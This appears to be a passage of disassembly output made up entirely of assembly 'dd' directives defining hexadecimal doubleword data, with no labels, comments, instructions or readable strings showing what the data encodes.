		dd 7F3E60B8h, 54B02ABEh, 7123C00Ch, 0EC906Bh, 7F58144Fh
		dd 955F8032h, 1D477858h, 0F9C08916h, 7FB66F5h, 0DBD50028h
		dd 443A87A0h, 0AD7BC553h, 3C899D00h, 0EA847912h, 6D4F0151h
		dd 4A2297EEh, 7360806Ah, 0F9DFF083h, 607B0E48h,	0F561B505h
		dd 0C02A593Ch, 0D8045C87h, 0ECF66C1Eh, 0CB600887h, 74B4E9C5h
		dd 9B400050h, 3F42393h,	8B39FA57h, 514A00C6h, 0C4A26F10h
		dd 73A57DB3h, 4F2603A4h, 698D674h, 7BBD401Eh, 28423397h
		dd 44CB7DC2h, 0F9E7057Ch, 0D049EDB1h, 8243EB48h, 986EF413h
		dd 0E9386840h, 26E3BC0Ch, 2C840EABh, 350806Ch, 0BED226C0h
		dd 4965F809h, 304598h, 0DAFE6062h, 10266A74h, 7A8278B2h
		dd 48821672h, 305CDD10h, 0F171DCA3h, 0E6047A94h, 7ED322D8h
		dd 0B5A00180h, 0B8833C7Ch, 0B4E14080h, 0F4C5329Fh, 37E32800h
		dd 0E8CC70F5h, 0DABE0039h, 0A29E22B6h, 5B00F7E7h, 8AF50F64h
		dd 305489C5h, 0B2A8BB33h, 0C20FB479h, 3B6DF243h, 0D3CFC388h
		dd 0F6C11371h, 0D2400BFh, 4C229392h, 3A4FAD0Eh,	63FE6243h
		dd 136399h, 26544E38h, 0FA8756EEh, 37729C0Bh, 0DC78A03Eh
		dd 2B90C066h, 847C7F09h, 494C9571h, 9E3080DEh, 2803772Fh
		dd 0C80D43h, 10428D4Dh,	0C1E5FD7Dh, 9F59643Dh, 2C001737h
		dd 30118F0Bh, 32E10093h, 0E444275Ah, 2500ABAFh,	2F7DACDAh
		dd 0EC78B7B1h, 471D0042h, 79094E2h, 900F9F8h, 88D8BC5Ah
		dd 60F6CA69h, 9223888Dh, 4DE2E50Ch, 20FE9500h, 456E0B59h
		dd 6B601E05h, 8D6ACF79h, 9EF07743h, 171853F0h, 614CFAEAh
		dd 9F090038h, 127B8B15h, 38240046h, 0DFAE6D3Eh,	8C1FEADBh
		dd 5B80ED98h, 596580C6h, 203A6F61h, 85DF8FE0h, 5E4A06E3h
		dd 0EE70C09h, 909260A8h, 90087B30h, 172FFE20h, 60F68FC4h
		dd 4260BE20h, 0B7098DFCh, 6D03F9CCh, 1F0C0394h,	512E6AD4h
		dd 0CB004675h, 0E4CA7999h, 2D0B0044h, 875BE55Ch, 0BD015388h
		dd 5A021B0Fh, 12F07A68h, 5E0385Eh, 0A3CAF205h, 0EE40A14Dh
		dd 2A5B80E0h, 0C00083E4h, 0CEEA6EE2h, 9778192h,	3EE3722Ch
		dd 4703550h, 0E9C35A0Fh, 46BE0017h, 280F2C09h, 0B088424Ch
		dd 7E1B0038h, 1538F46Ah, 9A00AC05h, 0F7916517h,	5024B4E8h
		dd 0C82E810h, 0E6DAF401h, 68003F58h, 0D4B39D34h, 6222C6Dh
		dd 4E5AE766h, 0A21F204Fh
		dd 0B068D7C9h, 0B3260407h, 0B7503E12h, 68B4B3Fh, 1940EC0Ah
		dd 54A0A982h, 5600E3A1h, 0F6334F18h, 536AF81h, 9DC4B545h
		dd 0D8B42C62h, 12BC8559h, 8CC0E4ECh, 0D1B8D4h, 0BF069008h
		dd 5277231h, 0D3869801h, 0D222B10Eh, 0DCE84080h, 0F2F6D836h
		dd 0FE0049B0h, 93D716A3h, 9006F976h, 4B270A4h, 0CFB7D6B3h
		dd 0AB4CB0B5h, 90214E31h, 0C9F80436h, 0D33A0098h, 0B0CE139Ah
		dd 0F324D18Ah, 0AB16B4BFh, 6F38AE02h, 0F7DC8E74h, 79323618h
		dd 489A0BC0h, 0F8010C5Ah, 704CA02Dh, 3C7AB273h,	2C55BE13h
		dd 4268C880h, 59A94017h, 7CBB0500h, 781452C2h, 0CC2A58A2h
		dd 7570CA00h, 0BEF137E8h, 3FCB4701h, 0C0441220h, 907F3ACCh
		dd 74FB5C98h, 0BFA5EF00h, 5FDD0A28h, 0D368E318h, 1D41E2D0h
		dd 5CD620C9h, 54487DC3h, 0CE3D5E00h, 545571C6h,	0CC5B2701h
		dd 341F731Ch, 0E72BA940h, 3F4B00Dh, 0D0E8FD6Dh,	29B9CFB5h
		dd 2E006083h, 0ACC48E00h, 9293F5ADh, 0DD31099Dh, 1D81DB4Bh
		dd 0E0893C61h, 953DFA42h, 0B6D30055h, 5107A741h, 17B9E49Fh
		dd 59E11Bh, 0DDF40890h,	8D0F1A98h, 0C44D4030h, 0EF80934Eh
		dd 17413951h, 50D5ADh, 8956096Ch, 0CB0476Eh, 0E53F8300h
		dd 64FC8222h, 0B4030045h, 0E7902077h, 0AF00651Bh, 7642A973h
		dd 3E098F36h, 90F42A46h, 0FB14167Ch, 218003D3h,	0E3E8C9D9h
		dd 0A6004629h, 44024D06h, 0FA5B3076h, 0A1EEB4h,	88D0566Fh
		dd 3D1FAB2Bh, 80F4E758h, 7AF773A5h, 5C21F57h, 62544011h
		dd 0C6D91D5Dh, 1CCD6700h, 13F3D278h, 89AF0EA9h,	7EA005D4h
		dd 99A08581h, 77EC5A1Ch, 73FBF9C1h, 1CF4E44Eh, 923A0C4Ch
		dd 0E7B0E184h, 0D022F201h, 9C31A458h, 3A61D771h, 88D1440h
		dd 4D510019h, 0B8E60BE8h, 0B903B546h, 68583309h, 0E084F01Eh
		dd 1CC67220h, 1B74CABh,	87396C7Bh, 2D72E070h, 92FD620Fh
		dd 852C437Fh, 13DC88F0h, 0ADB50314h, 5AF8CC8h, 4C1D58A0h
		dd 80D07B3Ch, 0C3A9C59Eh, 4074BBh, 3530086Fh, 8EB048CDh
		dd 1652ED04h, 0E8C02F43h, 0F74AE1h, 47A9D2E5h, 0B119F0CEh
		dd 0FEA50807h, 0E020F32Eh, 4C534DD9h, 95008804h, 287969CDh
		dd 0CC16D787h, 0C8CC8E06h, 625E00C7h, 0ADE36635h, 180737F0h
		dd 7CD49BC4h, 9091E8B0h, 108A003Dh, 0CE8263DEh,	9700B8AAh
		dd 1FD7E3A4h, 272168h, 2BF36F51h, 0B6413A93h, 0EF0CC39h
		dd 668DB4E5h, 28227Ah, 842931D1h, 350304DBh, 0AC589A00h
		dd 0B9E1E633h, 63FAC1h,	28706B8Bh, 0CA14FA62h, 0E52C30E7h
		dd 8C2B2900h, 3AE3022Fh, 0BB727152h, 8F9401A0h,	6582C05Ch
		dd 81882268h, 0EEE843B8h, 36BD5D00h, 92A64400h,	0B565B129h
		dd 0D09B00C1h, 0B0453148h, 2A003CC3h, 9E783D6Dh, 0F8550BFCh
		dd 0D0AB1609h, 0B8580754h, 0CBF32092h, 9798B19Eh, 1B642D00h
		dd 0C87BAEB4h, 146ECE5h, 0D9352289h, 3B86FCF6h,	0D595C000h
		dd 9C073Ch, 518723DAh, 39051E37h, 0C8F7E00h, 92653F1Dh
		dd 0E06900DCh, 8899A1A2h, 0A3075158h, 87024FC8h, 0BA001607h
		dd 7163FFCFh, 4DCA3771h, 22734320h, 20E1C1B3h, 384B709Bh
		dd 510E5DE4h, 9DA562FAh, 2DAABE40h, 2D803173h, 0FC80A2B6h
		dd 942EDBE3h, 0F2BC2802h, 4040AA49h, 58CFBF7Fh,	2B1FE805h
		dd 9E6C0036h, 2F201050h, 8C7250C0h, 0E594FAh, 0ADFBA99Dh
		dd 0ED9E3BA3h, 26186E1Eh, 6698CC0h, 0BDDC24h, 79DEC98Bh
		dd 0BA02728Ah, 0CB80B800h, 3F0F055Ch, 4FD73AB2h, 9BDBF400h
		dd 7AE1BA1Fh, 60BD0E00h, 352EDC8Eh, 3E4F1634h, 411C4B8Dh
		dd 0B680E0E5h, 57478184h, 4EAA0011h, 721A2C8Eh,	0D07A7C1Eh
		dd 90A0CAC0h, 4C3DE0EBh, 420060C3h, 5282CF34h, 21C5BCD7h
		dd 708243C4h, 0DE7B1838h, 0C6815107h, 0CA0C73FFh, 0C5900F0h
		dd 0D3B01B09h, 602EE76Ch, 0E6004B36h, 0DC5BC85Dh, 0B53E009Ah
		dd 30BC522Ah, 0DA05970Ah, 6C88B21Fh, 0F0005BACh, 0E22CE973h
		dd 0FB4EED9Ch, 98BBF400h, 0F991006h, 870F8126h,	8855F821h
		dd 7840E2E9h, 4500D030h, 3A90FA0Ch, 16EF496Ah, 80054B54h
		dd 0EA3427F4h, 0D052E600h, 61ED23E1h, 77FC183Dh, 1206D80Fh
		dd 0B26A800Ch, 0FE10C3h, 0B41DD6E2h, 8AC04F4Bh,	5C6FCF00h
		dd 0F7CB857Dh, 42FC9A25h, 0E86800E9h, 430174C5h, 3836781Eh
		dd 0BB01DA29h, 9ED47592h, 0B9DC6085h, 334A011Ch, 601DD789h
		dd 15722B4h, 0B6163ED3h, 6C941327h, 1AB80690h, 100C5Ch
		dd 0C51C3036h, 3EC17296h, 5F0AA80Bh, 0C3E8405Dh, 0F17000F5h
		dd 45A463C6h, 0E303AE84h, 527F0173h, 0C280500Dh, 0E21906BCh
		dd 0E8C672D5h, 0F6F943Fh, 864F81A2h, 148A5F2h, 0AECE31DFh
		dd 405D6943h, 2EF1BFE4h, 0C853D400h, 54D2FEBCh,	7798C197h
		dd 284C81FCh, 394FB074h, 8520004Bh, 0E4E819BFh,	9C013093h
		dd 7CF694BCh, 32AB59Eh,	4D4BD604h, 88EF0BF8h, 0F69F0117h
		dd 7FB9008Ch, 1D7498h, 0F21FA634h, 99C5532Bh, 0F40B8E26h
		dd 4479AC09h, 0FAEC00E0h, 80BF88B7h, 391770DAh,	4480D1A6h
		dd 2FCD41CEh, 0B0187986h, 4309D082h, 800BDE0Dh,	3829D970h
		dd 7868FFB2h, 3E92453Eh, 0BAD4C365h, 805F7BF1h,	9CE3BC50h
		dd 81CA2Bh, 3E9B09DBh, 0EAE60555h, 8B1B3201h, 0AB04A390h
		dd 5E50DFC4h, 0B3F400A5h, 23615D12h, 67246900h,	0F719AE4Ch
		dd 98B888h, 1AE85E2Fh, 94ADB468h, 735C4500h, 1BAABA0Bh
		dd 304200A2h, 2CD24BB9h, 0B45E226Dh, 7539F821h,	0AD00443Ch
		dd 0F628B77Ah, 0D4013109h, 16DF7E1Bh, 90ED1189h, 1F0B5DCh
		dd 9E612BDDh, 70B4C0E4h, 5000802Dh, 6ADA1EDFh, 0E17FB47h
		dd 0D2028156h, 48008014h, 9DBB16BCh, 0C00F26Ch,	0B970F6CFh
		dd 0EA7EADD3h, 0A05A07FDh, 0B021B711h, 0E3B47F77h, 0D5001890h
		dd 6A6BC842h, 991156h, 2E6208Ch, 0B7B6F0Eh, 0A2754012h
		dd 0A0510C0Ch, 0F44F00EAh, 0FA2B658Ah, 3C0060B9h, 0DCC51F05h
		dd 1EA30238h, 4BF7C4E1h, 0EC019DB6h, 696DBED7h,	2E1E0044h
		dd 3075196Ch, 147FFCF2h, 0CE04E541h, 0C023331Dh, 652D5BA5h
		dd 0F501CA72h, 8DAF8EC5h, 9BCCF11Fh, 3F390046h,	0C74C640Eh
		dd 80A08C50h, 0FE1277E3h, 0E4909071h, 0F8DBF507h, 728500F7h
		dd 64D4935Ah, 0FA00213Bh, 7999E189h, 0EC325FBDh, 0B1860010h
		dd 0CFCA0C01h, 985FB8B6h, 0E93F6440h, 0D94F1h, 9637BB4Bh
		dd 0E30FA83h, 69E6440Eh, 39844448h, 9D241CC0h, 1825487Dh
		dd 435B6301h, 708E518Ch, 38EC7CC0h, 8C19762Ah, 59ADCD09h
		dd 1DFCC0C0h, 36F0E1Eh,	920DB4h, 0DEBC1FACh, 3509B568h
		dd 10ED611h, 633A4C4Ch,	0C8C23465h, 5359DDF0h, 0F809588Dh
		dd 6C832B99h, 57C0405Eh, 0BC2811AFh, 1726DC20h,	0DE800C28h
		dd 0CB718EC1h, 164800EDh, 5325083Eh, 7C03F5C7h,	75E752A3h
		dd 0D0B3AB2Dh, 48C83C8Eh, 3B78042Fh, 6F64A2Ah, 0E4201242h
		dd 0E00F452h, 0B7592C62h, 0F64463Bh, 0BD9926F8h, 0C6AC0AE0h
		dd 90A3B17Fh, 0FB66C98h, 4C097A00h, 0F3D44988h,	57FC03ECh
		dd 398741BDh, 4BC66800h, 269AE674h, 0D0664A36h,	9477F340h
		dd 20B08713h, 0D68CEC00h, 4F8D216Dh, 0C72C3079h, 642615A0h
		dd 9A802411h, 0D68072FFh, 66730040h, 867A5BC3h,	9D139394h
		dd 0F0421663h, 6B5C34F1h, 7299E8E4h, 4DE2C0BAh,	9611CF2Ch
		dd 4A3A5B00h, 9487F8Eh,	44EF89Fh, 0CF247CBFh, 0A008875Eh
		dd 20604288h, 0E8032600h, 3AA9D694h, 0A2A82DFCh, 264D0A0h
		dd 0D7600C54h, 3ED3478h
		dd 8E649ED2h, 0D4E188E5h, 0E8470E5Fh, 2925B0ABh, 15986873h
		dd 11783071h, 6D0E88D6h, 0A9CBC407h, 63E361DAh,	0FEEC93Eh
		dd 509C68F6h, 527A02ABh, 29A3DA9Fh, 0EE170448h,	9B005AECh
		dd 1B67350Ah, 5AABD1FDh, 4FE0738Dh, 0E82411F0h,	5C4D61Fh
		dd 0B9694C80h, 543AA1h,	8475BBD8h, 2E5B2108h, 9C1CA503h
		dd 98AAB9BFh, 618C09EBh, 4966E8B2h, 811320F9h, 60F310C9h
		dd 6CB7540h, 0B2A891FDh, 2900D042h, 0AA17657Fh,	99D31EBh
		dd 24184085h, 0DA1D8280h, 0D200A69Eh, 964821A3h, 9C9715h
		dd 0C7E1A28Ah, 0F24FA0AEh, 3AE44030h, 72F8F69h,	11DEE71Eh
		dd 0A055C0h, 91B7E980h,	0CF3CE3C2h, 88AFACD9h, 7488E040h
		dd 2C3500B6h, 9B3AB430h, 3F3EBAC7h, 83A00012h, 314B1CFh
		dd 51610E2Eh, 0BF018434h, 783F9832h, 57881210h,	6D1CC4E2h
		dd 0D79080A2h, 87453244h, 0E6B48B00h, 8DF8FD7Fh, 0AD560126h
		dd 0D147241Ah, 2094ED2Fh, 0E4001C30h, 0A066CA92h, 0FB3DB79h
		dd 21CEF1D6h, 50DC9000h, 0C0007A59h, 85843029h,	2C77064Bh
		dd 4DAFE34h, 0C019DFDCh, 0C17FCB0Dh, 0E5B4050Bh, 62E884B3h
		dd 21A420C0h, 0ECAC2C3Dh, 14678FCCh, 0FCD1B260h, 94A09BE6h
		dd 7027E183h, 6BE480EBh, 494F4D1Eh, 9413100Fh, 5CBCC084h
		dd 0C6FEC06h, 0FD8E919h, 78C0D2B9h, 3EA6D98Eh, 4B24292Bh
		dd 4250004Ch, 0EE7F88B4h, 688D7100h, 51229FF4h,	323F1D82h
		dd 83484039h, 0BCD9134Bh, 0F5A6DC0Eh, 18A5408Bh, 347FB3h
		dd 803C9005h, 33EDBC41h, 7B8BA400h, 0E25BCFDCh,	0EAA705Ah
		dd 7D85BA84h, 4A6BD83h,	0B2CEC6E0h, 57110A00h, 419ADB9Bh
		dd 7DF4FA32h, 0F9CB4DDh, 71604B46h, 0F23DE5CDh,	0EDB1B200h
		dd 950BE311h, 0EBA01E6Ch, 50BB007Bh, 0ADEF9053h, 9A70FF00h
		dd 0D2595E76h, 1C2379B7h, 0FB6F80ACh, 0A4C7F080h, 243A7268h
		dd 6C77B9EEh, 0C206057Dh, 0CC14C39Bh, 4E610020h, 3B3CA28h
		dd 2A128998h, 1DAF5E7Eh, 0CD6D7h, 287A9004h, 0D57BEFDCh
		dd 34572400h, 59D63602h, 0F5223B93h, 0E79EBD07h, 436FD0D5h
		dd 2D01C955h, 0CC6ABC75h, 81C4A564h, 3B4C0027h,	0A985D8CFh
		dd 2A13296Fh, 0A820BE40h, 0E0A2FAh, 98D7CEC0h, 4BDC6F7Bh
		dd 8F6B2B00h, 0FFE3F63h, 33E6BBh, 0C6EDA9E1h, 8815B97Ah
		dd 0FC8CD400h, 52BFF894h, 0F2680E8Ah, 9760C869h, 2550AC3Bh
		dd 3E161730h, 6A33DEh, 0D2D3AB13h, 5FB296D1h, 0B5746201h
		dd 4AEC057Eh, 2968A8CBh, 8A883C35h, 107B7618h, 0C49D099h
		dd 65DB00D0h, 341D0D14h, 0AB1C0A61h, 0BE9C1C9h,	800754Eh
		dd 44800B3Eh, 0CA531D04h, 0A48046A5h, 5CE906EDh, 0EE002179h
		dd 27A71AD8h, 10648DEFh, 0E98087ECh, 3082E0Ah, 783597D9h
		dd 0F9DFA9C8h, 0E906DC7Ch, 1358CFECh, 0E0F1EFCEh, 0BD12FB50h
		dd 2F019FE0h, 51A1204Ah, 5BA401FCh, 2D64039Eh, 5F9813E9h
		dd 99008825h, 0EFD6098Fh, 3F50B6DEh, 0C00C2BBh,	405C6CB0h
		dd 4E07B26Bh, 0B1F7D406h, 3B6FBC0h, 0E0D8E1C6h,	0D5B00A9h
		dd 2DA56DBh, 9008006h, 0B64772B2h, 14689B7h, 0DCC9BC10h
		dd 0C83F1DEBh, 0B4166B41h, 0CA006827h, 9E752ECEh, 7C90047h
		dd 7EF611F0h, 830149F3h, 0BD7225FFh, 0BBD4B4CDh, 0CCD4092Eh
		dd 0DC8CEAF7h, 72780244h, 7CB6A507h, 0E3706CC6h, 0F033DCh
		dd 9A82FA0Dh, 60CC4577h, 1C707813h, 7BB03C07h, 52F0C777h
		dd 0C00B8824h, 0FB3937E0h, 32079669h, 583662DAh, 0AF676160h
		dd 332900DFh, 227D03DEh, 0A0392E0Dh, 0D151053Eh, 0F7C066E3h
		dd 2ECEE646h, 7B2095h, 0A05241EEh, 500069BAh, 60DCE845h
		dd 179C10BBh, 0B5871Fh,	0B19FA3AAh, 0B003C168h,	6D6395D2h
		dd 7EEDD80Dh, 6B7F00D6h, 143D3F9Ah, 1700D355h, 0AFE5C383h
		dd 200768h, 0F4B5C80Fh,	0B0EAEDBAh, 0A00E4D00h,	8DC379E1h
		dd 0B35401D2h, 0FC7C2006h, 0C85E3181h, 44007BB7h, 97AC573Ah
		dd 162EFD54h, 1E006A4h,	0B9B3DC68h, 0CA89E820h,	0F45A4F61h
		dd 76C8664Ch, 73A1EE5h,	5E274B26h, 0E1D82E80h, 0F5007763h
		dd 32B98039h, 76E75F3Dh, 86F25C2Ah, 67D63B00h, 0F14DEA28h
		dd 0EB66EF03h, 63F6A02h, 0CB5DF618h, 75EC8005h,	0A4F9472Eh
		dd 0EA5AC900h, 62C085h,	0D6431444h, 0C45B549h, 0FA00107Ah
		dd 4FE8DAACh, 1BD16ABh,	140A2BD4h, 409395EFh, 8B5C10A8h
		dd 87E0023Fh, 3155E12Eh, 0B7ECC970h, 5D4900DDh,	19B9AFF3h
		dd 120039BEh, 0AE676EFCh, 485586h, 65E00EB6h, 0C98DE746h
		dd 7A1C5698h, 894023D5h, 0E0DD1F79h, 0DEDB002Fh, 0CB29FE81h
		dd 80006709h, 0CD06EE23h, 39A6A142h, 0FAE5ED5h,	5B8001Eh
		dd 8D9D369Ah, 0BD18B41Fh, 343E8Bh, 0C101C27Bh, 5F4D00ECh
		dd 7BF6795Dh, 2AF99966h, 2024C40Eh, 8E6B11D7h, 1EFF00EAh
		dd 2362D35Ch, 0E5007205h, 0EB41222Ch, 0B27314Fh, 655987ACh
		dd 2DF8CC80h, 58008150h, 826FDFF2h, 4D8FAF72h, 5605BC4Eh
		dd 0DC79B8FAh, 0CC70E0DCh, 72E27000h, 0D0EF8A98h, 76690088h
		dd 0E9050360h, 1A00B7F7h, 5C0E3ACEh, 0D57022h, 85B26A6Dh
		dd 18665BE6h, 2CB8F14Ch, 1F93E484h, 0E4409C13h,	0F193C17Dh
		dd 0C8A30018h, 5FE1AA7h, 0A4305BF4h, 0BF392820h, 0DF630044h
		dd 82E87ABAh, 640788B9h, 0E7AA1104h, 3EE9FF71h,	2358C4h
		dd 0A37E25F8h, 5B2C4A29h, 8E010617h, 34A01000h,	13DA89AFh
		dd 0CDE190h, 982D8DF4h,	46003C4Bh, 88BDD81Dh, 9A7695h
		dd 580A33B7h, 91C272DDh, 27475F00h, 38F0B645h, 105C24E2h
		dd 0E50038F5h, 0F859F2D7h, 6A00043Ch, 72D190FDh, 0B9B407h
		dd 0A8E4E29Ah, 4B8F7824h, 0C735B300h, 0C2BDDE5h, 68333D07h
		dd 84A0F527h, 4FBC767Bh, 8747A200h, 0E3EE9242h,	0E26205ACh
		dd 2F758Dh, 0D39DFF93h,	45012B2Eh, 0A370C0Eh, 0CDD04606h
		dd 11970048h, 709231Bh,	8E07C3DCh, 0BE122225h, 40C033A2h
		dd 0E4AB5CF0h, 39A0127h, 24DB4C76h, 0B9B84289h,	0F601F878h
		dd 0CE121C46h, 9820016Ah, 17D60056h, 62D8C3B9h,	49136143h
		dd 530FA334h, 0B4B5C169h, 3E05AFh, 97903DB0h, 580E12FAh
		dd 0E0D6E3E0h, 0F16F4FA4h, 78660010h, 5732A7ECh, 550333A2h
		dd 56D50B9h, 0B1D8A362h, 0B02A11A1h, 98C08018h,	69E4206Eh
		dd 0C006719Fh, 65F84CC8h, 4F78463Dh, 35AD382Ch,	0D7CB2801h
		dd 0C9D01927h, 0A33000F3h, 60FBE836h, 0D47201DFh, 12025106h
		dd 0A8037Ah, 0C6E67EC4h, 0C5BF1D5Ah, 0ECF16700h, 8E5F1634h
		dd 40F504FCh, 0C2684FA7h, 246448F4h, 7B39FE12h,	20F3EE01h
		dd 208067FAh, 3D137776h, 0FE2B92Fh, 86255E75h, 31D800BDh
		dd 0DEE0D8h, 279B8B2Dh,	96A14BDDh, 0AB0130B6h, 76B05C0Ah
		dd 6601C02Ah, 0DD00F431h, 7E027DD8h, 3F51AEh, 4922895Bh
		dd 28306025h, 57A1D90Fh, 0E1E98021h, 779C52Dh, 0EB9BAB5Fh
		dd 0EF096029h, 529048C2h, 541B4717h, 730C3A00h,	79F418D7h
		dd 0FF382D4Dh, 6A279CC0h, 85FE3D3Ch, 9706265Ch,	6E2FEC90h
		dd 6C200E32h, 0AF003796h, 8C7F6FCEh, 39BA8B00h,	0B477E9FAh
		dd 847A5070h, 1AF004F8h, 0A80FEACDh, 0FF7301B0h, 8A03CABDh
		dd 298E16EDh, 6B80EFBEh, 0E9229BF0h, 0C68CB800h, 2CCCEC7Fh
		dd 0E8023B07h, 3DACE4BEh, 0B5F501DBh, 0ECE2FA22h, 80EC40EFh
		dd 429E6102h, 62CC24C9h, 90A3C06Bh, 39CBE613h, 828089ABh
		dd 260D329h, 1500CA5Bh,	0AF2D7142h, 9346A4h, 0DD6A203Dh
		dd 6844191Fh, 0C2000AE4h
		dd 5734BEA2h, 74D98Dh, 16924385h, 2CACB406h, 0C1F6711Eh
		dd 0D58D1E00h, 3CC08BB0h, 0D10E69D8h, 0A2600321h, 0F7F57820h
		dd 801C6538h, 747DD7FAh, 0BFC4A3h, 851DA7A9h, 0CF7FBE9Ah
		dd 492ED900h, 8C6728F9h, 0D0F401B2h, 0A9E43437h, 39C8DFC7h
		dd 0C92D9AC3h, 3263C05Eh, 65990038h, 0B75FA6F5h, 5B00D31Ch
		dd 4BC2C918h, 1DA16755h, 0C0E24CCAh, 207F6434h,	0E57C8994h
		dd 5A68CB0Bh, 0F5F643h,	0B62EBE86h, 11000C1Eh, 38CE3D0Dh
		dd 7144E0FDh, 0B24B3D0Fh, 21F1060h, 0FCE44A5Eh,	1EFBBC0Fh
		dd 6063AF01h, 53248A2Ch, 1B78C161h, 80DCFAEBh, 3654370h
		dd 507B02E5h, 83ED1052h, 0B3C750A3h, 59F0BCA2h,	8618412Ah
		dd 5C18DED9h, 0E3F08Ah,	7DE53AEDh, 48DB38FDh, 0D072F300h
		dd 0B76CB0C7h, 175B006Eh, 0FACDE2Ch, 0DD61D5EAh, 0B621B959h
		dd 0CA470A4h, 0E6502444h, 0D2A5F000h, 0ED129EDAh, 93D803EBh
		dd 1B584C42h, 0AF07B003h, 6FA6921h, 7A202C30h, 501B95Eh
		dd 50E5F53Bh, 942098F0h, 6D571601h, 1EE40069h, 97548C3h
		dd 0A0B55800h, 8E2A6B13h, 0E46F006Eh, 5F553F3Bh, 0E300B401h
		dd 0E295041Bh, 3E5F2D0h, 31A19D68h, 68036608h, 6F074750h
		dd 156CF0FCh, 0B5DE1D61h, 210F1B0Eh, 2D6FC898h,	0BA4E1913h
		dd 0FC70F200h, 3D2D024h, 0A16A8023h, 32F950B5h,	8788472Fh
		dd 930099FBh, 0DD769995h, 8C9967Ah, 0DA182058h,	33262Eh
		dd 0ED32575Eh, 1EC02FDFh, 4B028106h, 9D4913FBh,	0D9600340h
		dd 0B0116B63h, 2F80FC52h, 1D2FFCADh, 0C9655EDh,	99200E41h
		dd 0B90013E2h, 261CD1EEh, 0C63C42h, 4A900905h, 2783E384h
		dd 4DA1B0Ah, 803888F7h,	0CEF96920h, 616C0CD2h, 0EA58F90Dh
		dd 18899D14h, 19699Ah, 447AE8A0h, 0DC40C0A4h, 9E1187E0h
		dd 7825EA25h, 0A90300EBh, 0E93C2238h, 5900901Bh, 83935E07h
		dd 453195h, 74276417h, 1D8BC7C3h, 97E5FE07h, 44D03068h
		dd 0E38506h, 1110D1C1h,	0D7FC377Ch, 0BD3C4Ch, 0D02F82A2h
		dd 5F5DBFh, 0F98363D8h,	0FC352A26h, 8A06AFE8h, 892DA3F2h
		dd 0F8042219h, 4CB4100Fh, 0C2FE80D0h, 3E21D417h, 0A41C27FDh
		dd 24D90B5h, 2D3A3DF3h,	801C89FCh, 94335AC3h, 5B7F3Eh
		dd 17CC6B7Dh, 9C147A82h, 1DD314A0h, 7705CD1Ch, 7BE7CB40h
		dd 348DC3Ch, 0C7C0BFB8h, 0A8725138h, 0E994D40h,	0F0372C6Dh
		dd 94FE2B83h, 0B51700FCh, 339C2468h, 12C933D4h,	0C478E000h
		dd 5122E538h, 6E7100A4h, 0F064A0CEh, 0C8780CA8h, 1687971Ch
		dd 232D7F00h, 13465Eh, 1966E40Dh, 85EBBCBFh, 9A4738h, 2DA7BBCAh
		dd 0E5D8CCEDh, 56FE9940h, 0BDC10002h, 6101334Ah, 0AF3CB73Eh
		dd 0BDD62682h, 2AD93030h, 7DF2744Fh, 40BEE993h,	0BD1FA01h
		dd 0EF677118h, 795C5C8h, 6DED2A26h, 2D69CE19h, 80FA044Bh
		dd 0B0D18AD5h, 1CC8FCAEh, 0F0EAD4C5h, 4AF2F720h, 31C7AF75h
		dd 3990670Dh, 0E991652h, 9286AD54h, 0A321248Ch,	0ADFA400h
		dd 0E60FA197h, 0E40B00DDh, 57712335h, 0BF7547FEh, 0F552FF18h
		dd 60628081h, 31C88806h, 60015FB0h, 7B19378Ch, 87EC9792h
		dd 3FAA0F09h, 0FCC3509Fh, 81A08575h, 0D5608AEDh, 66EB0579h
		dd 96BF0039h, 564EA272h, 5C0B2C99h, 83FEC192h, 1580DB3h
		dd 0FB9BF8C9h, 0C83CA573h, 913A87B9h, 88CE2AA6h, 0FB687200h
		dd 7E41F09Eh, 522F0A49h, 1040B7h, 0CF90AD38h, 0C700BE36h
		dd 0C3DBB643h, 0A055099Dh, 310C0D6Ch, 0C8A13DAFh, 0F9FCE428h
		dd 903FAE0h, 38DC7053h,	0A6BC8049h, 6D1000E4h, 16C750FFh
		dd 0D500E126h, 4156E7ADh, 187BCC84h, 0C12A0FBFh, 2700F81Dh
		dd 0ECB6D179h, 0E4E33F9Eh, 4407FFC5h, 4928C8B2h, 8AFCC708h
		dd 58C280D2h, 45E22556h, 0A0F9B0B0h, 0B84690B8h, 1077E63Dh
		dd 0C8A694AAh, 9E478023h, 0CDF606FBh, 0D93AD306h, 0EEF9F172h
		dd 0BB1C05ABh, 4EE667C8h, 0AA81490Ch, 0C06D92ACh, 6C02FD52h
		dd 0C39DCD8Ch, 0BE5880BBh, 6D0D66h, 447D9670h, 1D65B0A8h
		dd 0C658E01Ch, 0E7D881B0h, 57C30679h, 0F99E33E3h, 181D6C30h
		dd 2C434Dh, 2725156Fh, 218F6695h, 2FCD7300h, 0F2540383h
		dd 2BDCACEEh, 3BB45B8Ch, 0AE008644h, 268E4328h,	7E0BFCCAh
		dd 58DB0952h, 9402BF4Ah, 7203EE9Fh, 0AAE907C9h,	0E0E3919Ch
		dd 5342E818h, 0D614EE03h, 0CF0FF4h, 2FDDE7C1h, 0F8062B55h
		dd 0B80E4276h, 0E04A5629h, 0E0710AD6h, 0ED51C148h, 20AA1D75h
		dd 200C068h, 4CE6857Dh,	18C3BFFh, 0CF67EF4Fh, 20B239FEh
		dd 8300DE0h, 6A656932h,	235900DBh, 75DDD3F0h, 0A800257Dh
		dd 1F7E12C1h, 88BA768Bh, 0DD1D4519h, 8C87C334h,	0B200AD27h
		dd 43C2F2h, 0E468EBEFh,	0DC87E54Eh, 71F85400h, 7B4CCC1Ch
		dd 235E493h, 7E45C9B2h,	0E6407C8Bh, 0AF062FC5h,	423B8065h
		dd 3FFF0018h, 0E636CED7h, 0FE0FE70Eh, 808CF022h, 0D1637445h
		dd 42300198h, 341C6AF3h, 2BDFF84Ah, 0A5CA7D00h,	3BC49BD5h
		dd 0C9010141h, 225E88CFh, 45589D2Dh, 7B80D69Dh,	0C9B47CA7h
		dd 0CDF43AFEh, 0E3217A30h, 4D7A0947h, 2BA4B200h, 92E9B9A2h
		dd 66AB0025h, 6F851ED2h, 3601F37Fh, 4196D5C8h, 6180CF48h
		dd 0D3BCC672h, 533FA155h, 0B6D06318h, 71F188B9h, 0CB8C023Ah
		dd 0B501CE73h, 40927C63h, 31972090h, 0F0577E19h, 4DD89360h
		dd 65C54438h, 0A2797CECh, 0D414B106h, 5408E21Ah, 0B9CAEh
		dd 62707DC8h, 6D5A071Eh, 84F0DB0Fh, 17AA001Dh, 5F5BDC3h
		dd 634C903h, 3AC446F7h,	0B4004195h, 0F80FC493h,	0A72C8917h
